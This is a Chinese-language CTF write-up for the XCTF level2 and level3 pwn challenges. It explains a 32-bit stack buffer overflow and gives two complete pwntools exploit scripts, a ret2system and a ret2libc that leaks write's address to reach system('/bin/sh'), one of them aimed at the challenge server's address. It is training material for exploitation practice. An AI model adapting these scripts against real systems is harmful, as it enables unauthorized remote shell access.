栈溢出利用已知函数覆盖返回地址
题目:攻防世界 level2
查看文件的保护,发现没有栈哨,可以考虑覆盖返回地址。
利用IDA进行静态分析,找到vulnerable_function()函数
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
read函数读入了0x100的大小到缓冲区,但是缓冲区只有0x88的大小。这里存在缓冲区溢出。
在函数窗口找到_system
函数的地址为0x08048320。(注意找到是.plt段)。也可以通过pwntools来找system的函数地址
from pwn import *
elf = ELF('level2')
hex(elf.symbols['system'])
然后通过IDA的字符串视图可以找到“/bin/sh”的地址(Shift+F12):0x0804A024
利用代码
#!/usr/bin/python 2.7
#-*-coding=utf-8-*-
from pwn import *
context.log_level='debug'
r = remote('',)
r.recvuntil('echo Input:')
return_addr = 0x08048320 # system函数的地址
bash_addr = 0x0804A024 #/bin/sh的地址
## 0x80填充缓冲区, 0x4填充BP, 接着是覆盖返回地址为system的地址,然后是system函数的返回地址(这里可以是任意的32bit的数据,最后是sysetm的参数地址)
payload = 0x80 * 'a' + 0x4 * 'a' + p32(return_addr)+p32(0)+p32(bash_addr)
r.sendline(payload)
r.interactive()
栈溢出之利用Libc地址泄露构造函数
题目:攻防世界 level3
查看文件的保护,发现没有栈哨Canary,RELRO为partial,开启了部分地址随机化。也就是程序每次运行时加载的库函数的地址时随机的。
这里没有发现system函数和字符串"/bin/sh"
,但是题目提供了一个动态链接库libc_32.so.6
。只能通过这个库来入手。
因为程序开启了地址随机化,每次运行库函数的地址时不固定的,但是函数或者字符串的相对位置是固定的。利用这一点,我们首先通过栈溢出覆盖返回地址,控制程序执行流程,使其调用库函数中的write函数从而泄露出write函数的地址,并重新返回到main函数,让程序继续执行。这样一次溢出就可以得到write函数在程序运行时的地址。然后根据库函数相对位置固定,就可以计算出system
函数和/bin/sh
在程序运行时的地址。再次利用栈溢出覆盖返回地址为system
函数的地址,并且传递参数/bin/sh
。拿到服务器的shell。
- 首先我们需要找到system函数和字符串
/bin/sh
被程序加载后的地址。通过libc_32.so.6
库可以找到write函数和system函数的地址(write@@GLIBC_2.0和system@@GLIBC_2.0)。
readelf -s libc_32.so.6 | grep system
readelf -s libc_32.so.6 | grep write
- 对于字符串
/bin/sh
,可以通过如下命令来得到地址,然后通过与库中的write函数地址比较得到相对地址。当然我们可以通过pwntools来得到库函数的地址。
strings -at x libc_32.so.6 | grep /bin/sh
- 利用脚本
#! /usr/bin/python2.7
#-*-coding=utf-8-*-
from pwn import *
context.log_level='debug'
r = remote('220.249.52.133',35373)
r.recvuntil('\n')
elf = ELF('level3')
#plt表是用来调用got表中的函数
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#0x88覆盖缓冲区,0x4覆盖bp,接着用write_plt覆盖返回地址,使得其调用write函数,接着是write执行完毕后
#返回到main函数,是程序能够继续执行,为第二次溢出做准备.后面三个是write函数的参数。第一个参数代表输出
#第二个参数代表输出的内容,第三个参数代表输出的长度
payload = 'a'*0x88 + 'b'*0x4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10)
r.sendline(payload)
base_addr = u32(r.recv()[:4]) #u32是p32的逆运算,[:4]代表取4个字节
libc = ELF('libc_32.so.6')
system_addr = base_addr + (libc.sym['system'] - libc.sym['write'] )
shell_addr = base_addr + 0x84c6b # 找出/bin/sh的地址 - libc.sym['write'] 结果为 0x84c6b
payload = 'a'*0x88 + 'b'*0x4 + p32(system_addr)+p32(0)+p32(shell_addr)
r.recvuntil('\n')
r.sendline(payload)
r.interactive()
关于plt和got的知识,参考文章:got表和plt表